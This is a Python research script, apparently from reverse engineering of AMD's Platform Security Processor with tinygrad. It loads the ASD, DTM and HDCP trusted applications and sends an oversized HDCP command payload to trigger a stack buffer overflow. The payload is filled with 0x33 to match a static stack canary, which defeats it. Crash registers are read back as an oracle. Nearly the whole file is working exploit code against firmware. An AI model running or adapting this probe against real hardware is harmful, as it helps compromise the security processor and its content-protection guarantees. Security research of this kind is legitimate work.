1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
"""Fill the whole payload with 0x33 so ANY canary slot fed by our data is satisfied.
__stack_chk_guard == 0x33333333 (static, single xref, no runtime writer).
If the smash that trips __stack_chk_fail is written FROM OUR BUFFER, then filling
every byte with 0x33 satisfies the canary wherever it lands, and the hang should
disappear (or move). If the smash content comes from the crypto service's own
state, 0x33 fill changes nothing.
Readout uses the crash oracle discovered today: C2PMSG 82..88.
82 PC-ish 83 class/mode 84 faulting PC 85 DFSR 86 DFAR 88 ?
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
C2P=90112+64
def crash(): return {n:adev.rreg(C2P+n) for n in (82,83,84,85,86,88)}
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
sid,shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(s,sh,buf,tc):
adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=s,tc
t0=time.time()
try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except RuntimeError: return stat(), bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except TimeoutError: return "TIMEOUT", None, time.time()-t0
def topo(h):
b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
ps,out,_=inv(dtm_sid,dtm_shm,b,2); return struct.unpack_from('<I',out,8)[0]
def hdcp(cmd,mut=None):
b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd)
if mut: mut(b)
ps,out,dt=inv(sid,shm,b,cmd)
if out is None: return ps,None,None,dt
return ps, struct.unpack_from('<I',out,4)[0], struct.unpack_from('<I',out,0x1410)[0], dt
def fire(slot,N,fill):
a3=5*N+25; ln=a3+1
payload=bytearray(bytes([fill])*(5*N))
def m(b):
struct.pack_into('<I',b,0xC,slot); struct.pack_into('<I',b,0x10,12)
struct.pack_into('<I',b,0x14,ln)
b[0x28]=12; b[0x29]=0; b[0x2A]=0; b[0x2B]=N&0xFF; b[0x2C]=0
b[0x2F]=0; b[0x30]=0; b[0x31]=0
b[0x42:0x42+len(payload)]=payload
return hdcp(0x0F,m)
for h in range(8): topo(h)
print("crash regs before any test:", {k:hex(v) for k,v in crash().items()})
print("\n%-34s %-9s %-7s %-7s %s" % ("case","psp","ta_ret","elapsed","crash regs 82/83/84/85/86"))
for label,N,fill in (("N=52 fill 0x33 (control, no hang)",52,0x33),
("N=53 fill 0x33 (THE TEST)", 53,0x33),
("N=53 fill 0x41 (baseline)", 53,0x41)):
ps,ret,slot,dt = hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,0))
if ret != 0:
print("%-34s slot open failed ta_ret=%s (TA dead)" % (label,ret)); break
ps,r,_,dt = fire(slot,N,fill)
c=crash()
print("%-34s %-9s %-7s %6.2fs %s" % (label, ps, r, dt,
" ".join(hex(c[k]) for k in (82,83,84,85,86))))
if ps=="TIMEOUT":
print(" -> HUNG. sOS alive=%s" % psp.is_sos_alive()); break
else:
print(" -> returned")
print("\nsOS alive:", psp.is_sos_alive())
|